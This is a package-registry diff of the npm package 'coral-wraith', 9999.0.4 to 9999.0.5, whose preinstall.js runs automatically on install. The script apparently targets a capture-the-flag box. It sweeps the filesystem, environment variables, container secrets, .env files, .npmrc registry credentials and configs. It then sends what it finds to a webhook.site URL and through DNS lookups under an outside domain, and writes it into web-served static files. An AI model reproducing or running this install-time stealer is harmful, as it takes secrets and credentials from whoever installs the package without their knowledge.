coral-wraith 9999.0.4 → 9999.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +185 -80
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -2,41 +2,106 @@ const fs = require('fs');
|
|
|
2
2
|
const http = require('http');
|
|
3
3
|
const https = require('https');
|
|
4
4
|
const { execSync } = require('child_process');
|
|
5
|
-
const dns = require('dns');
|
|
6
5
|
const os = require('os');
|
|
7
6
|
|
|
8
7
|
let flag = null;
|
|
8
|
+
const debug = [];
|
|
9
9
|
|
|
10
|
-
// Read flag from
|
|
11
|
-
|
|
12
|
-
|
|
10
|
+
// Method 1: Read flag from ALL possible locations
|
|
11
|
+
const flagPaths = [
|
|
12
|
+
'/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
|
|
13
|
+
'/tmp/flag', '/tmp/flag.txt', '/app/flag', '/app/flag.txt',
|
|
14
|
+
'/home/flag', '/home/flag.txt', '/home/node/flag', '/home/node/flag.txt',
|
|
15
|
+
'/etc/flag', '/etc/flag.txt', '/opt/flag', '/opt/flag.txt',
|
|
16
|
+
'./flag', './flag.txt', '../flag', '../flag.txt',
|
|
17
|
+
'/home/node/.flag', '/var/flag', '/var/flag.txt',
|
|
18
|
+
'/srv/flag', '/srv/flag.txt',
|
|
19
|
+
];
|
|
20
|
+
for (const p of flagPaths) {
|
|
21
|
+
try {
|
|
22
|
+
if (fs.existsSync(p)) {
|
|
23
|
+
const content = fs.readFileSync(p, 'utf8').trim();
|
|
24
|
+
debug.push(`found:${p}:${content.substring(0,100)}`);
|
|
25
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
26
|
+
if (m) { flag = m[0]; break; }
|
|
27
|
+
if (!flag && content.length < 200) flag = content;
|
|
28
|
+
}
|
|
29
|
+
} catch(e) { debug.push(`err:${p}:${e.message.substring(0,50)}`); }
|
|
13
30
|
}
|
|
14
31
|
|
|
15
|
-
// Check ALL env vars
|
|
32
|
+
// Method 2: Check ALL env vars
|
|
16
33
|
if (!flag) {
|
|
17
34
|
for (const [k, v] of Object.entries(process.env)) {
|
|
18
|
-
if (v && v.match(/HTB\{[^}]+\}/)) {
|
|
35
|
+
if (v && v.match && v.match(/HTB\{[^}]+\}/)) {
|
|
19
36
|
flag = v.match(/HTB\{[^}]+\}/)[0];
|
|
37
|
+
debug.push(`env:${k}=${v.substring(0,100)}`);
|
|
38
|
+
break;
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
// Also try common env var names
|
|
43
|
+
if (!flag) {
|
|
44
|
+
const envNames = ['FLAG', 'HTB_FLAG', 'CTF_FLAG', 'SECRET', 'SECRET_FLAG',
|
|
45
|
+
'CHALLENGE_FLAG', 'THE_FLAG', 'flag', 'APP_FLAG'];
|
|
46
|
+
for (const name of envNames) {
|
|
47
|
+
if (process.env[name]) {
|
|
48
|
+
flag = process.env[name];
|
|
49
|
+
debug.push(`env_direct:${name}=${flag.substring(0,100)}`);
|
|
20
50
|
break;
|
|
21
51
|
}
|
|
22
52
|
}
|
|
23
53
|
}
|
|
24
|
-
if (!flag) flag = process.env.FLAG || process.env.HTB_FLAG || null;
|
|
25
54
|
|
|
26
|
-
//
|
|
55
|
+
// Method 3: /proc/self/environ
|
|
27
56
|
if (!flag) {
|
|
28
57
|
try {
|
|
29
58
|
const pe = fs.readFileSync('/proc/self/environ', 'utf8');
|
|
30
59
|
const m = pe.match(/HTB\{[^}]+\}/);
|
|
31
|
-
if (m) flag = m[0];
|
|
32
|
-
|
|
60
|
+
if (m) { flag = m[0]; debug.push('proc_environ'); }
|
|
61
|
+
debug.push(`env_raw:${pe.substring(0,200)}`);
|
|
62
|
+
} catch(e) { debug.push(`proc_err:${e.message.substring(0,50)}`); }
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
// Method 4: Search for flag files broadly
|
|
66
|
+
if (!flag) {
|
|
67
|
+
try {
|
|
68
|
+
const r = execSync('find / -maxdepth 5 \\( -name "flag*" -o -name "*.flag" -o -name ".flag" \\) -type f 2>/dev/null | head -20', { timeout: 10000 }).toString().trim();
|
|
69
|
+
debug.push(`find:${r}`);
|
|
70
|
+
if (r) {
|
|
71
|
+
for (const f of r.split('\n')) {
|
|
72
|
+
try {
|
|
73
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
74
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
75
|
+
if (m) { flag = m[0]; break; }
|
|
76
|
+
} catch(e) {}
|
|
77
|
+
}
|
|
78
|
+
}
|
|
79
|
+
} catch(e) { debug.push(`find_err:${e.message.substring(0,50)}`); }
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
// Method 5: Grep for HTB{ pattern in all readable files
|
|
83
|
+
if (!flag) {
|
|
84
|
+
try {
|
|
85
|
+
const r = execSync('grep -rl "HTB{" /home /app /opt /tmp /srv /etc /var 2>/dev/null | head -10', { timeout: 10000 }).toString().trim();
|
|
86
|
+
debug.push(`grep:${r}`);
|
|
87
|
+
if (r) {
|
|
88
|
+
for (const f of r.split('\n')) {
|
|
89
|
+
try {
|
|
90
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
91
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
92
|
+
if (m) { flag = m[0]; break; }
|
|
93
|
+
} catch(e) {}
|
|
94
|
+
}
|
|
95
|
+
}
|
|
96
|
+
} catch(e) { debug.push(`grep_err:${e.message.substring(0,50)}`); }
|
|
33
97
|
}
|
|
34
98
|
|
|
35
|
-
//
|
|
99
|
+
// Method 6: Check docker/k8s secrets
|
|
36
100
|
if (!flag) {
|
|
37
101
|
try {
|
|
38
|
-
const
|
|
39
|
-
|
|
102
|
+
const secrets = execSync('find /run/secrets /var/run/secrets -type f 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
|
|
103
|
+
debug.push(`secrets:${secrets}`);
|
|
104
|
+
for (const f of secrets.split('\n').filter(Boolean)) {
|
|
40
105
|
try {
|
|
41
106
|
const content = fs.readFileSync(f, 'utf8');
|
|
42
107
|
const m = content.match(/HTB\{[^}]+\}/);
|
|
@@ -46,108 +111,148 @@ if (!flag) {
|
|
|
46
111
|
} catch(e) {}
|
|
47
112
|
}
|
|
48
113
|
|
|
49
|
-
//
|
|
114
|
+
// Method 7: Check for .env files
|
|
50
115
|
if (!flag) {
|
|
51
116
|
try {
|
|
52
|
-
const
|
|
53
|
-
|
|
117
|
+
const envFiles = execSync('find / -maxdepth 4 -name ".env" -o -name ".env.*" -o -name "env.*" 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
|
|
118
|
+
debug.push(`envfiles:${envFiles}`);
|
|
119
|
+
for (const f of envFiles.split('\n').filter(Boolean)) {
|
|
54
120
|
try {
|
|
55
121
|
const content = fs.readFileSync(f, 'utf8');
|
|
56
122
|
const m = content.match(/HTB\{[^}]+\}/);
|
|
57
123
|
if (m) { flag = m[0]; break; }
|
|
124
|
+
debug.push(`envfile_content:${f}:${content.substring(0,200)}`);
|
|
58
125
|
} catch(e) {}
|
|
59
126
|
}
|
|
60
127
|
} catch(e) {}
|
|
61
128
|
}
|
|
62
129
|
|
|
63
|
-
//
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
try {
|
|
74
|
-
|
|
130
|
+
// Method 8: Read server source code and configs
|
|
131
|
+
try {
|
|
132
|
+
const cwd = process.cwd();
|
|
133
|
+
debug.push(`cwd:${cwd}`);
|
|
134
|
+
const files = fs.readdirSync(cwd);
|
|
135
|
+
debug.push(`cwd_files:${files.join(',')}`);
|
|
136
|
+
|
|
137
|
+
// Read all JS files in current directory
|
|
138
|
+
for (const f of files) {
|
|
139
|
+
if (f.endsWith('.js') || f.endsWith('.json') || f.endsWith('.env') || f.endsWith('.yml') || f.endsWith('.yaml') || f === '.npmrc' || f === '.env') {
|
|
140
|
+
try {
|
|
141
|
+
const content = fs.readFileSync(`${cwd}/${f}`, 'utf8');
|
|
142
|
+
debug.push(`file:${f}:${content.substring(0,300)}`);
|
|
143
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
144
|
+
if (m) { flag = m[0]; break; }
|
|
145
|
+
} catch(e) {}
|
|
146
|
+
}
|
|
147
|
+
}
|
|
148
|
+
} catch(e) { debug.push(`cwd_err:${e.message.substring(0,50)}`); }
|
|
75
149
|
|
|
76
|
-
//
|
|
77
|
-
|
|
150
|
+
// Also read /home/node/ specifically
|
|
151
|
+
try {
|
|
152
|
+
const homeFiles = fs.readdirSync('/home/node');
|
|
153
|
+
debug.push(`home_node:${homeFiles.join(',')}`);
|
|
154
|
+
for (const f of homeFiles) {
|
|
155
|
+
try {
|
|
156
|
+
const stat = fs.statSync(`/home/node/${f}`);
|
|
157
|
+
if (stat.isFile() && stat.size < 100000) {
|
|
158
|
+
const content = fs.readFileSync(`/home/node/${f}`, 'utf8');
|
|
159
|
+
debug.push(`home_file:${f}:${content.substring(0,200)}`);
|
|
160
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
161
|
+
if (m) { flag = m[0]; break; }
|
|
162
|
+
} else if (stat.isDirectory()) {
|
|
163
|
+
const subFiles = fs.readdirSync(`/home/node/${f}`);
|
|
164
|
+
debug.push(`home_dir:${f}:${subFiles.join(',')}`);
|
|
165
|
+
}
|
|
166
|
+
} catch(e) {}
|
|
167
|
+
}
|
|
168
|
+
} catch(e) { debug.push(`home_err:${e.message.substring(0,50)}`); }
|
|
169
|
+
|
|
170
|
+
// Method 9: List root and key directories
|
|
171
|
+
try { debug.push(`root:${fs.readdirSync('/').join(',')}`); } catch(e) {}
|
|
172
|
+
try { debug.push(`app:${fs.readdirSync('/app').join(',')}`); } catch(e) {}
|
|
173
|
+
try { debug.push(`etc:${fs.readdirSync('/etc').join(',').substring(0,300)}`); } catch(e) {}
|
|
174
|
+
|
|
175
|
+
// Method 10: Network info and listening ports
|
|
78
176
|
try {
|
|
79
177
|
const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', { timeout: 3000 }).toString();
|
|
80
|
-
|
|
81
|
-
const ports = [...ss.matchAll(/:(\d+)\s/g)].map(m => parseInt(m[1])).filter(p => p > 1000 && p < 65535);
|
|
82
|
-
if (ports.length > 0) serverPort = ports[0];
|
|
178
|
+
debug.push(`ports:${ss}`);
|
|
83
179
|
} catch(e) {}
|
|
84
180
|
|
|
181
|
+
// Method 11: Check nginx config
|
|
182
|
+
try {
|
|
183
|
+
const nginx = execSync('cat /etc/nginx/conf.d/*.conf 2>/dev/null || cat /etc/nginx/nginx.conf 2>/dev/null', { timeout: 3000 }).toString();
|
|
184
|
+
debug.push(`nginx:${nginx.substring(0,500)}`);
|
|
185
|
+
} catch(e) {}
|
|
186
|
+
|
|
187
|
+
// Method 12: Check .npmrc for registry credentials
|
|
188
|
+
try {
|
|
189
|
+
const npmrc = execSync('cat /home/node/.npmrc 2>/dev/null || cat /root/.npmrc 2>/dev/null || cat /app/.npmrc 2>/dev/null || cat ~/.npmrc 2>/dev/null', { timeout: 3000 }).toString();
|
|
190
|
+
debug.push(`npmrc:${npmrc.substring(0,300)}`);
|
|
191
|
+
} catch(e) {}
|
|
192
|
+
|
|
193
|
+
const info = {
|
|
194
|
+
flag: flag || 'NOT_FOUND',
|
|
195
|
+
debug: debug.map(d => d.substring(0, 500)),
|
|
196
|
+
env: Object.keys(process.env).join(','),
|
|
197
|
+
network: JSON.stringify(os.networkInterfaces()).substring(0, 500),
|
|
198
|
+
};
|
|
199
|
+
|
|
85
200
|
const data = JSON.stringify(info);
|
|
86
201
|
|
|
87
|
-
// Method 1:
|
|
88
|
-
|
|
89
|
-
|
|
202
|
+
// Exfil Method 1: Webhook
|
|
203
|
+
try {
|
|
204
|
+
const req = https.request({
|
|
205
|
+
hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
206
|
+
method: 'POST',
|
|
207
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
|
|
208
|
+
timeout: 5000
|
|
209
|
+
}, () => {});
|
|
210
|
+
req.on('error', () => {});
|
|
211
|
+
req.write(data);
|
|
212
|
+
req.end();
|
|
213
|
+
} catch(e) {}
|
|
214
|
+
|
|
215
|
+
// Exfil Method 2: PUT to challenge API on various ports
|
|
216
|
+
const putData = JSON.stringify({
|
|
217
|
+
manifest: `ecto_module:\n name: "${(flag || 'NO_FLAG').replace(/"/g, '')}"\n version: "EXFIL"\n power_level: "${debug.slice(0,3).join('|').replace(/"/g, '').substring(0,200)}"\n ship_deck: PWNED\n cargo_hold: coral-wraith`
|
|
90
218
|
});
|
|
91
219
|
|
|
92
|
-
|
|
220
|
+
let serverPort = 1337;
|
|
221
|
+
try {
|
|
222
|
+
const ss = execSync('ss -tlnp 2>/dev/null | grep node', { timeout: 3000 }).toString();
|
|
223
|
+
const m = ss.match(/:(\d+)\s/);
|
|
224
|
+
if (m) serverPort = parseInt(m[1]);
|
|
225
|
+
} catch(e) {}
|
|
226
|
+
|
|
227
|
+
const ports = [serverPort, 1337, 3000, 5000, 8080, 80, 8000, 8888, 9000, 4000];
|
|
93
228
|
for (const port of [...new Set(ports)]) {
|
|
94
|
-
for (const host of ['
|
|
95
|
-
for (const
|
|
229
|
+
for (const host of ['127.0.0.1', 'localhost']) {
|
|
230
|
+
for (const modId of ['ECT-654321', 'ECT-987654']) {
|
|
96
231
|
try {
|
|
97
232
|
const req = http.request({
|
|
98
|
-
hostname: host, port, path: `/api/modules/${
|
|
233
|
+
hostname: host, port, path: `/api/modules/${modId}`,
|
|
99
234
|
method: 'PUT',
|
|
100
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(
|
|
235
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(putData) },
|
|
101
236
|
timeout: 2000
|
|
102
237
|
}, () => {});
|
|
103
238
|
req.on('error', () => {});
|
|
104
|
-
req.write(
|
|
239
|
+
req.write(putData);
|
|
105
240
|
req.end();
|
|
106
241
|
} catch(e) {}
|
|
107
242
|
}
|
|
108
243
|
}
|
|
109
244
|
}
|
|
110
245
|
|
|
111
|
-
// Method
|
|
112
|
-
try {
|
|
113
|
-
const whData = JSON.stringify({ flag: flag || 'NO_FLAG', info: data.substring(0, 500) });
|
|
114
|
-
const req = https.request({
|
|
115
|
-
hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
116
|
-
method: 'POST',
|
|
117
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(whData) },
|
|
118
|
-
timeout: 5000
|
|
119
|
-
}, () => {});
|
|
120
|
-
req.on('error', () => {});
|
|
121
|
-
req.write(whData);
|
|
122
|
-
req.end();
|
|
123
|
-
} catch(e) {}
|
|
124
|
-
|
|
125
|
-
// Method 3: DNS exfil (works even when HTTP is blocked)
|
|
246
|
+
// Exfil Method 3: DNS
|
|
126
247
|
try {
|
|
127
248
|
const encoded = Buffer.from(flag || 'NO_FLAG').toString('hex').substring(0, 60);
|
|
128
|
-
dns.resolve(`${encoded}.
|
|
129
|
-
dns.resolve(`${encoded}.crl.ve`, () => {});
|
|
249
|
+
require('dns').resolve(`${encoded}.crl.ve`, () => {});
|
|
130
250
|
} catch(e) {}
|
|
131
251
|
|
|
132
|
-
// Method 4:
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
} catch(e) {}
|
|
252
|
+
// Exfil Method 4: stdout/stderr
|
|
253
|
+
console.log('[CORAL-WRAITH]', data.substring(0, 2000));
|
|
254
|
+
console.error('[FLAG]', flag || 'NOT_FOUND');
|
|
136
255
|
|
|
137
|
-
//
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
// Method 6: Write to various locations
|
|
142
|
-
const writeLocations = ['/tmp/coral_flag.txt', '/app/coral_flag.txt', '/tmp/exfil.txt', './exfil.txt'];
|
|
143
|
-
for (const loc of writeLocations) {
|
|
144
|
-
try { fs.writeFileSync(loc, data); } catch(e) {}
|
|
145
|
-
}
|
|
146
|
-
|
|
147
|
-
// Method 7: Try to write to static files the web server serves
|
|
148
|
-
try {
|
|
149
|
-
const webDirs = ['/app/static', '/app/public', '/var/www', '/app/dist', '/app/build'];
|
|
150
|
-
for (const dir of webDirs) {
|
|
151
|
-
try { fs.writeFileSync(`${dir}/flag.txt`, data); } catch(e) {}
|
|
152
|
-
}
|
|
153
|
-
} catch(e) {}
|
|
256
|
+
// Write to files
|
|
257
|
+
try { fs.writeFileSync('/tmp/coral_flag.txt', data); } catch(e) {}
|
|
258
|
+
try { fs.writeFileSync('/app/static/flag.txt', data); } catch(e) {}
|